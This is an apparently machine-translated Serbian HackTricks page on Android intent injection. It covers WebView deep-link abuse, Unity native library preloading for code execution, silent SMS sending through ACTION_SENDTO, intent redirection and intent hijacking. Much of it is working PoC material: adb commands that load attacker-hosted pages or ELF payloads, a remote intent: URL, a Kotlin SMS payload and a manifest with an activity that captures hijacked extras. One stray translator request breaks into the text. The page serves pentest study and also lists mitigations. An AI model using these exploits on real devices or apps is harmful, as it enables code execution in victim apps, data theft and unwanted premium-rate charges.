Intent Injection

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Intent injection zloupotrebljava komponente koje prihvataju Intents kojima upravlja napadač ili podatke koji se kasnije konvertuju u Intents. Dva veoma česta obrasca tokom Android app pentests su:

  • Slanje prilagođenih extras ka exported Activities/Services/BroadcastReceivers koje se kasnije prosleđuju privilegovanim, non-exported komponentama.
  • Pokretanje exported VIEW/BROWSABLE deep links koji prosleđuju napadačem kontrolisane URL-ove u interne WebView-e ili druge osetljive sinkove.

Ako aplikacija izlaže custom scheme deep link kao:

myscheme://com.example.app/web?url=<attacker_url>

Ako primajuća Activity prosleđuje parametar upita url u WebView, možete prisiliti aplikaciju da prikaže proizvoljni udaljeni sadržaj u svom WebView kontekstu.

PoC preko adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS se izvršava unutar WebView profila aplikacije.
  • Ako je JavaScript omogućen (po defaultu ili zbog neispravnog redosleda provera), možete nabrojati/koristiti bilo koje izložene @JavascriptInterface objekte, ukrasti WebView cookies/local storage i pivotirati.

See also:

Webview Attacks

Order-of-checks bug enabling JavaScript

Česta greška je omogućavanje JavaScript-a (ili drugih permisivnih WebView podešavanja) pre nego što završi konačna allowlist/verifikacija URL-a. Ako rani helperi prihvate vaš deep link i WebView se konfiguriše prvi, konačno učitavanje će se desiti sa JavaScript-om već omogućenim čak i ako su kasnije provere pogrešne ili prekasne.

What to look for in decompiled code:

  • Više pomoćnih funkcija/klasa koje različito parsiraju/razdvajaju/ponovo sastavljaju URL (nedosledna normalizacija).
  • Pozivi ka getSettings().setJavaScriptEnabled(true) pre poslednje allowlist provere hosta/putanje.
  • Tok obrade (pipeline) poput: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Android aplikacije zasnovane na Unity obično koriste com.unity3d.player.UnityPlayerActivity (ili UnityPlayerGameActivity) kao ulaznu Activity. Unity’s Android template tretira specijalan Intent extra pod imenom unity kao string command-line flagova za Unity runtime. Kada je entry Activity exported (podrazumevano u mnogim template-ovima), bilo koja lokalna aplikacija – a ponekad i vebsajt ako je prisutan BROWSABLE – može dostaviti ovaj extra.

Jedan opasan, nedokumentovan flag vodi izvršavanju native koda tokom vrlo rane inicijalizacije procesa:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) vrlo rano u init-u, učitava napadačem kontrolisan ELF unutar procesa ciljne aplikacije sa njenim UID-om i permisijama.

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Zašto funkcioniše

  • The Intent extra unity se parsira u Unity runtime flagove.
  • Isporuka pre-init flag-a usmerava Unity na attacker-controlled ELF putanju unutar dozvoljenog linker namespace path (pogledajte ograničenja ispod).

Uslovi za exploitation

  • Unity entry Activity je exported (obično tačno po podrazumevanju).
  • Za one-click remote putem browsera: entry Activity takođe deklariše android.intent.category.BROWSABLE tako da se extras mogu proslediti iz intent: URL-a.

Local exploitation (isti uređaj)

  1. Place a payload ELF at a path readable by the victim app. Najlakše: ship a malicious library in your own attacker app i osigurajte da bude extracted under /data/app/.../lib/<abi>/ tako što ćete podesiti u attacker’s manifest:
<application android:extractNativeLibs="true" ...>
  1. Pokrenite Unity aktivnost žrtve sa CLI pre-init flagom u unity extra. Primer ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (kamera/mikrofon/mreža/skladište, itd.) and access to sesijama/podacima unutar aplikacije.

Notes

  • Tačan /data/app/... path varira između uređaja/instalacija. Napadačka aplikacija može da dohvati svoj direktorijum nativnih biblioteka u runtime-u putem getApplicationInfo().nativeLibraryDir i prosledi ga trigger-u.
  • Fajl ne mora da se završava sa .so ako je validan ELF – dlopen() gleda na ELF zaglavlja, ne na ekstenzije.

Remote one‑click via browser (conditional) Ako je Unity entry activity eksportovana sa BROWSABLE, web sajt može da prosledi extras putem intent: URL-a:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Međutim, na modernom Androidu dinamički linker namespaces i SELinux blokiraju učitavanje sa mnogih javnih putanja (npr. /sdcard/Download). Videćete greške kao:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Strategija za zaobilaženje: ciljati aplikacije koje keširaju bajtove pod kontrolom napadača u svom privatnom skladištu (npr. HTTP caches). Pošto dozvoljene putanje uključuju /data i privatni dir aplikacije, usmeravanje -xrsdk-pre-init-library na apsolutnu putanju unutar cache-a aplikacije može zadovoljiti linker ograničenja i dovesti do izvršenja koda. Ovo odražava ranije cache-to-ELF RCE obrasce uočene u drugim Android aplikacijama.

Confused‑Deputy: Tihi SMS/MMS preko ACTION_SENDTO (Wear OS Google Messages)

Neke podrazumevane messaging aplikacije pogrešno automatski izvršavaju implicitne intentove za poruke, pretvarajući ih u confused‑deputy primitiv: bilo koja neprivilegovana aplikacija može pokrenuti Intent.ACTION_SENDTO sa sms:, smsto:, mms:, ili mmsto: i izazvati neposredno slanje bez potvrđujućeg UI i bez SEND_SMS dozvole.

Ključne tačke

  • Okidač: implicitni ACTION_SENDTO + URI scheme za poruke.
  • Podaci: postavite primaoca u URI, tekst poruke u extra "sms_body".
  • Dozvole: nijedna (bez SEND_SMS), oslanja se na podrazumevani SMS/MMS handler.
  • Primećeno: Google Messages for Wear OS (patched May 2025). Ostale handlere treba oceniti na sličan način.

Minimalni payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (bez posebnih dozvola)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Attack surface expansion (Wear OS)

  • Bilo koja komponenta koja može da pokrene activities može da pokrene isti payload: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • Ako podrazumevani handler automatski šalje, zloupotreba može biti one‑tap ili potpuno tihi iz background konteksta u zavisnosti od OEM politika.

Pentest kontrolna lista

  • Rešite ACTION_SENDTO na cilju da identifikujete podrazumevani handler; proverite da li prikazuje UI za sastavljanje poruke ili tiho šalje.
  • Testirajte sve četiri sheme (sms:, smsto:, mms:, mmsto:) i extras (sms_body, optionally subject for MMS) da biste proverili razlike u ponašanju.
  • Uzmite u obzir destinacije koje naplaćuju/premium‑rate brojeve kada testirate na stvarnim uređajima.

Ostale klasične primitive za Intent injection

  • startActivity/sendBroadcast koji koriste Intent extras koje dostavi napadač, a koje se kasnije ponovo parsiraju (Intent.parseUri(...)) i izvršavaju.
  • Exported proxy komponente koje prosleđuju Intents ka non-exported osetljivim komponentama bez provere dozvola.

Automatizacija testiranja eksportovanih komponenti (Smali-driven ADB generation)

Kada eksportovane komponente očekuju specifične extras, pogađanje oblika payload-a troši vreme i dovodi do lažno-negativnih rezultata. Možete automatizovati otkrivanje ključeva/tipova direktno iz Smali i generisati spremne adb komande za izvršavanje.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Pristup: dekompajlirajte i skenirajte Smali za pozive kao što su getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() da biste zaključili koje extras i polja svaka komponenta koristi.
  • Izlaz: za svaki exported Activity/Service/Receiver/Provider, alat ispisuje kratak opis i tačnu adb shell am .../cmd content ... komandu sa ispravno tipiziranim zastavicama.

Instalacija

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Upotreba

python apk-components-inspector.py target.apk

Molim pošaljite sadržaj datoteke src/mobile-pentesting/android-app-pentesting/intent-injection.md ili tekst koji želite da prevedem.

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras — brza referenca (zastavice osetljive na tip)

  • Stringovi: --es key value | Niz stringova: --esa key v1,v2
  • Celi brojevi: --ei key 123 | Niz integera: --eia key 1,2,3
  • Booleani: --ez key true|false
  • Longovi: --el key 1234567890
  • Floatovi: --ef key 1.23
  • URI (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Uobičajene zastavice: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro saveti za ContentProviders

  • Koristite adb shell cmd content query|insert|update|delete ... da pristupite ContentProviders bez agenata.
  • Za SQLi ispitivanje, menjajte --projection i --where (aka selection) kada je provider zasnovan na SQLite.

Automatizacija celog pipeline-a (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Pomoćni skript za parsiranje i izvršavanje adb komandi ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available.

---

## Intent Redirection (CWE-926) – pronalaženje i eksploatisanje

Pattern
- An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
- `startActivity(getIntent())`
- `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`.
- Trusting `action`/`data`/`component` fields without checks; not verifying caller identity.

What to search in Smali/Java
- Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents.
- Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates.

ADB PoC templates
- Proxy Activity forwarding an extra Intent to a privileged internal Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Exportovan servis koji prihvata parcelable redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Izvezeni Receiver koji prosleđuje bez validacije:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Zastavice korisne za ponašanje u stilu singleTask

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Real-world examples (impact varies):

  • CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → efekti na nivou sistema.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → proizvoljan pristup fajlovima (sa interakcijom korisnika).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Model pretnje

  • App A očekuje osetljiv rezultat od App B koristeći implicit Intent (npr. OAuth redirect, rezultat document picker-a, IMAGE_CAPTURE return, ili custom callback action).
  • Attacker App C objavljuje exported component sa odgovarajućim <intent-filter> za isti action/category/data. Kada B reši implicit Intent, resolver može prikazati chooser; ako korisnik izabere C (ili ga postavi kao podrazumevani), payload se isporučuje attacker komponenti umesto A.

Minimal PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Handler kostur:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Napomene

  • Match specificity matters (action + categories + data). Što je filter C-a specifičniji u odnosu na B-ov izlazni Intent, veća je verovatnoća da će biti prikazan ili automatski izabran.
  • Ovo se takođe odnosi na deep linkove (VIEW + BROWSABLE) kada aplikacije očekuju da će druga aplikacija obraditi URL i vratiti nešto nazad.

Pentest guidance

  • Grepujte cilj za pozive startActivity/startActivityForResult/registerForActivityResult koji koriste non-explicit Intents.
  • Pregledajte Intente koji nose tokene u extras, clipData, ili getData() i proverite da li bi treća strana mogla registrovati kompatibilan filter.
  • Preporučite zamenu implicitnih tokova eksplicitnim Intentima (postaviti setPackage()/setComponent()), ili zahtevajte caller-permission/signed permissions na exported receivers/services.

Mitigacije

  • Preferirajte eksplicitne Intente za osetljive tokove (callbacks, tokens, auth results).
  • Kada je cross-app neophodan, dodajte zahteve za permission na primajuću komponentu i validirajte identitet pozivaoca.
  • Ograničite i suzite Intent filtere samo na ono što je striktno potrebno (scheme/host/path/MIME).

Posmatranje odluka resolver-a (FLAG_DEBUG_LOG_RESOLUTION)

Kada kontrolišete pošiljaoca, dodajte Intent.FLAG_DEBUG_LOG_RESOLUTION implicitnom Intentu kako bi Android zabeležio kako se odvija rešavanje i koja komponenta će biti izabrana.

Primer:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

Ono što ćete videti u adb logcat je staza razrešavanja i konačna komponenta, npr. com.android.camera2/com.android.camera.CaptureActivity.

CLI savet

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Ovo je korisno za nabrajanje kandidata za handlere na uređaju/emulatoru i za tačno potvrđivanje koja će komponenta primiti Intent tokom testiranja.


Izvori

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks